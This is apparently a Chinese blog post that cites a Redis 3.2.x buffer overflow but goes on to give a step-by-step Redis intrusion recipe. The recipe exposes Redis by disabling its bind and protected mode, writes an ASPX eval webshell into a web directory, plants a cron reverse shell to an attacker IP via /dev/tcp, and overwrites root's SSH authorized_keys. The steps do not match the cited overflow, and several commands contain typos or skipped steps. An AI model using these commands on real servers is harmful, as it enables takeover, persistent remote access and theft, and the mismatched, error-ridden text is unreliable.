Redis 3.2.x < 3.2.4 版本存在缓冲区溢出漏洞,可导致任意代码执行。Redis 数据结构存储 的 CONFIG SET 命令中 client-output-buffer-limit 选项处理存在越界写漏洞。构造的 CONFIG SET 命令可导致越界写,代码执行。
漏洞利用:
修改配置文件 redis.conf
cp redis.conf ./src/redis.conf
bind 127.0.0.1 前面加上#号注释掉
protected-mode 设为 no
启动redis-server
./src/redis-server redis.conf
获取webshell
当 redis 权限不高时,并且服务器开着 web 服务,在 redis 有 web 目录写权限时,可以 尝试往 web 路径写 webshell,前提是知道物理路径,精简命令如下:
config set dir E:/www/font
config set dbfilename redis2.aspx
set a "<%@ page language=\"Jscript\"%><%eval(request.item[\"c\"],\"unsafe\");%>"
save
反弹shell
1.连接redis
redis-clie -h xxx -p 6379
2.在kali上执行命令
nc -lvnp 9001
3.靶机执行一下命令
set x "\n\n* * * * * bash -i >& /dev/tcp/kali ip/9001 0>&1\n\n"
config set dir /var/spool/cron/ (ubuntu的文件是/var/spool/cron/crontabs)
config set dir /var/spool/cron/crontabs/
config set dbfilename root
save
免密码ssh
ssh-keygen -t rsa
congfig set dir /root/.ssh
config set dbfilename authorized_keys
save
无密码登录成功
标签:set,redis,代码执行,conf,8339,config,dir From: https://www.cnblogs.com/lisenMiller/p/17602788.html